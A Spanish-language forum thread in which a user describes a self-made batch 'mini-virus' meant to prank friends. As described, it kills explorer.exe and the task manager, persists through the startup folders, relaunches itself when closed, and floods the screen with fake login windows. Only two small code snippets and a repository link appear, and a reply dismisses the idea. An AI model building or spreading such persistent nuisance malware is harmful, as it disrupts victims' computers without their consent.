Título: ¿MiniVirus? en Batch Publicado por: Tino en 8 Marzo 2019, 02:14 am Hola foro! PRIMERO QUE NADA, quiero decir que esto no es como los típicos batch que eliminan la System32 y listo, porque primero, eso lo detecta hasta el antivirus más malo, y esto al ser algo ¿nuevo? no lo detecta. Y tampoco es un tipo de esas bromas con MSGBox, esto es algo que si se pudiera trabajar más en un lenguaje más avanzado (ya que se que en batch no se pueden hacer muchas cosas) podría llegar a ser algo muy poderoso.El script lo podes encontrar en mi GitHub (https://github.com/developingrxn/mcregedits) y acá abajo voy a dejar el SRC también. De paso, si quieren cambiarle el nombre al archivo, necesitan hacer varias cosas. Una de ellas es primero que nada cambiar todo lo que diga "MCRegedits.exe" a "NombreDeTuArchivo.exe", ya que no es algo automatizado (aunque si quieren puedo crear otro batch para automatizar esto.) Además tienen que pasar su archivo a .EXE mediante Bat2Exe (http://bat2exe.net/) (creo que es la mejor opción) De paso, al convertirlo a Bat2Exe (obligatorio, si no no funciona "CIF") hay algunos problemas, pero no importa. Paso a explicar mi script. El script lo que hace es: Al iniciarlo primero que nada cierra explorer.exe y taskmgr.exe para que no se pueda abrir casi nada, crea los archivos: CIF y MOLESTO con nombres random Código: SET molestorndm=%RANDOM%XXXXMadeByTinoXXXX%RANDOM%HGJT4VY3%RANDOM%%RANDOM%5BBBS%RANDOM%FV%RANDOM%XX%RANDOM%XDFT%RANDOM%BT6432C%RANDOM%FAVV%RANDOM%fsos%RANDOM%34B34B%RANDOM%DAD%RANDOM%%RANDOM%FDDD%RANDOM%FFD%RANDOM% Si lo cierran, esta "CIF" que checkea todo el tiempo si MCRegedits.exe está abierto y si no lo está, lo abre. Crea cada 4 pings al localhost otra ventana CMD la cual empieza a molestar diciendo que inicie sesión, así que si está jugando a un juego en fullscreen etc, lo va a sacar, etc... Si escriben la contraseña incorrecta, empiezan a abrirse más screens CMD de "MOLESTO". Y lo más importante y es en lo que me centré es que si la persona que lo abre no entiende mucho o no tiene ni idea donde se puede esconder el programa etc, no lo va a poder eliminar. La única forma es entrando en modo seguro y eliminando MCRegedits.exe en "shell:startup" y "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" o usando un script que también cree por las dudas de que sin querer como una persona que le faltan varios jugadores lo abra (mi caso) cree un "antidoto" que elimina la mayoría de los archivos y deja la computadora utilizable. Si no me falta alguna otra cosa de poca importancia, ahí esta lo que hace un simple batch, sin eliminar nada, molestar. Si van a compartirlo por favor, dejen créditos con un simple link a mi perfil o una mención, me haría feliz ya que esta ***** me saco tiempo de mi vida en lo cual podría haber gastado haciendo algo más importante, jeje. De paso, para algunos que digan que se puede encontrar en otros lados y que me copio de alguien o que si hay metodos de resolución en Google etc... Chupenme bien la pija esto está hecho todo a mano sin ningún programa (excepto Bat2Exe) y lo único que saqué de Google ya que no me acordaba fue esto: Código: tasklist /FI "IMAGENAME eq MCRegedits.exe" /FO CSV > mcregedits.lmao Código: echo off Título: Re: ¿MiniVirus? en Batch Publicado por: Eleкtro en 8 Marzo 2019, 06:48 am esta ***** me saco tiempo de mi vida en lo cual podría haber gastado haciendo algo más importante, jeje. Tu mismo lo has dicho... pudiendo hacer algo más importante vas y haces esta cosa. Sobre este tipo de scripts opino lo mismo que con respecto a los "antivirus batch", no son de utilidad. Y para no ser hipócrita confesaré que yo también hice algo relacionado en el año 2012...
pero, una vez aprendida la lección, ni loco volvería a perder mi tiempo haciendo algo de eso en Batch. PD: gracias por compartir. Saludos! Título: Re: ¿MiniVirus? en Batch Publicado por: Tino en 8 Marzo 2019, 18:04 pm Jajaja, es una pérdida de tiempo, pero lo hice para joder a amigos que no entienden nada y no olvidarme de Batch que aunque sea malo, siempre está piola saber otro lenguaje :)
Lo publico acá por si alguien quiere perder el tiempo con algo de ese estilo. |